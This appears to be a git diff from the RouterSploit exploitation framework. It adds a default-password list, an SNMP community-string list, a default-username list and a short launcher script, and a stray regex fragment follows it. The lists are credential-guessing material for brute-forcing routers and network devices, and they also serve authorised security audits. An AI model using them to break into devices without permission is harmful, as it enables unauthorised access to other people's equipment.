+l2 +l3 +laflaf +lantronix +letacla +letmein +leviton +linga +live +llatsni +locatepw +looker +lp +lucenttech1 +lucenttech2 +m1122 +maint +maintpw +manager +master +masterkey +mediator +medion +mercury +michelangelo +microbusiness +mlusr +monitor +mono +motorola +mtch +mtcl +mu +my_DEMARC +mysweex +n/a +naadmin +netadmin +netgear1 +netman +netopia +netscreen +nimdaten +nmspw +nokai +nokia +none +noway +ntacdmax +op +operator +orion99 +otbu+1 +over +p1nacate +pass +password +password1 +passwort +patrol +pbxk1064 +pento +permit +pfsense +pilou +piranha +private +public +public/private/secret +pwp +q +r@p8p0r+ +radius +radware +raidzone +rcustpw +recovery +redips +replicator +rmnetlm +ro +root +router +rw +rwa +rwmaint +scmchangeme +scout +secret +secure +security +serial# +service +setup +sitecom +smallbusiness +smcadmin +smile +snmp-Trap +software01 +specialist +speedxess +star +stratauser +su@psir +super +superuser +supervisor +support +supportpw +surt +switch +symbol +synnet +sys +sys/change_on_install +sysAdmin +sysadm +sysadmin +system +talent +tech +telco +telecom +tellabs#1 +tiaranet +tiger123 +timely +tini +tivonpw +tlah +trancell +truetime +tslinux +tuxalize +uplink +user +visual +volition +w0rkplac3rul3s +w2402 +wampp +webadmin +wg +winterm +wlsedb +wlsepassword +wrgg15_di524 +wyse +x-admin +x40rocks +xbox +xd +xdfk9874t3 +xxyyzz +zoomadsl \ No newline at end of file diff --git a/routersploit/wordlists/snmp.txt b/routersploit/wordlists/snmp.txt new file mode 100644 index 000000000..65359993d --- /dev/null +++ b/routersploit/wordlists/snmp.txt @@ -0,0 +1,120 @@ +public +private +0 +0392a0 +1234 +2read +4changes +ANYCOM +Admin +C0de +CISCO +CR52401 +IBM +ILMI +Intermec +NoGaH$@! +OrigEquipMfr +PRIVATE +PUBLIC +Private +Public +SECRET +SECURITY +SNMP +SNMP_trap +SUN +SWITCH +SYSTEM +Secret +Security +Switch +System +TENmanUFactOryPOWER +TEST +access +adm +admin +agent +agent_steal +all +all private +all public +apc +bintec +blue +c +cable-d +canon_admin +cc +cisco +community +core +debug +default +dilbert +enable +field +field-service +freekevin +fubar +guest +hello +hp_admin +ibm +ilmi +intermec +internal +l2 +l3 +manager +mngt +monitor +netman +network +none +openview +pass +password +pr1v4t3 +proxy +publ1c +read +read-only +read-write +readwrite +red +regional +rmon +rmon_admin +ro +root +router +rw +rwa +s!a@m#n$p%c +san-fran +sanfran +scotty +secret +security +seri +snmp +snmpd +snmptrap +solaris +sun +superuser +switch +system +tech +test +test2 +tiv0li +tivoli +trap +world +write +xyzzy +yellow + diff --git a/routersploit/wordlists/usernames.txt b/routersploit/wordlists/usernames.txt new file mode 100644 index 000000000..393c52c3b --- /dev/null +++ b/routersploit/wordlists/usernames.txt @@ -0,0 +1,271 @@ +!root +test +(blank) +(brak) +(non) +) ++ +1.79 +11111 +1234 +1502 +2000 +266344 +31994 +3comcso +60020 +ADMINISTRATOR +ADMN +ADSL +ADVMAIL +Admin +Administrator +Alphanetworks +Anonymous +Any +CISCO15 +CSG +Cisco +Clarissa +D-Link +DTA +FIELD +FORCE +Factory +GEN1 +GEN2 +Gearguy +GlobalAdmin +Guest +HELLO +HPOFFICE +HPP187 +HPWORD +HTTP +IntraStack +IntraSwitch +JDE +LUCENT01 +LUCENT02 +MAC +MAIL +MANAGER +MD110 +MDaemon +MGR +MICRO +Manager +McdataSE +Menara +NAU +NETOP +NETWORK +NICONEX +OPERATOR +OR +PBX +PCUSER +PFCUser +PRODDTA +PSEAdmin +Polycom +RMUser1 +RSBCMON +Root +SPOOLMAN +SSA +SUPERUSER +SYSADM +SYSDBA +Service +TMAR#HWMT8007079 +USERID +User +VNC +WP +acc +adfexc +adm +admin +admin2 +administrator +adminstat +adminstrator +adminttd +adminuser +adminview +all +ami +anonymous +apc +at4400 +bbsd-client +bciim +bcim +bcms +bcnas +blue +browse +cablecom +cac_admin +ccrusr +cellit +cgadmin +characters) +cisco +citel +client +cmaker +comcast +corecess +craft +cusadmin +cust +customer +d.e.b.u.g +dadmin +davox +debug +defug +deskalt +deskman +desknorm +deskres +device +dhs3mt +dhs3pms +diag +disttech +draytek +e250 +e500 +echo +edimax +enable +eng +engmode +enquiry +expert +field +ftp_admi +ftp_inst +ftp_nmc +ftp_oper +ftpuser +guest +halt +helpdesk +hsa +hscroot +hydrasna +iclock +images +inads +init +install +installer +integrator +intel +intermec +isp +jagadmin +kermit +l2 +l3 +live +locate +login +lp +m1122 +mac +maint +maintainer +manage +manager +manuf +mediator +mlusr +monitor +mso +mtch +mtcl +n/a +naadmin +netadmin +netman +netopia +netrangr +netscreen +newuser +nms +nmt +none +often +op +operator +patrol +piranha +pmd +poll +public +radware +rapport +rcust +readonly +readwrite +recovery +replicator +ro +root +rw +rwa +sa +scmadmin +scout +security +serial# +service +setup +smc +spcl +storwatch +stratacom +su +super +super.super +superadmin +superman +superuser +supervisor +support +sweex +sys +sysadm +sysadmin +system +system/manager +target +teacher +tech +telco +telecom +tellabs +temp1 +tiara +tiger +topicalt +topicnorm +topicres +user +vcr +veda +volition +vt100 +webadmin +websecadm +wlse +wlseuser +wradmin +write +xbox +xd \ No newline at end of file diff --git a/rsf.py b/rsf.py new file mode 100755 index 000000000..f682a27e1 --- /dev/null +++ b/rsf.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +from routersploit.interpreter import RoutersploitInterpreter + + +def routersploit(): + rsf = RoutersploitInterpreter() + rsf.start() + +if __name__ == "__main__": + routersploit()
\n\t\t\t(.+?)\n\n\t\t\t{}:(.+?)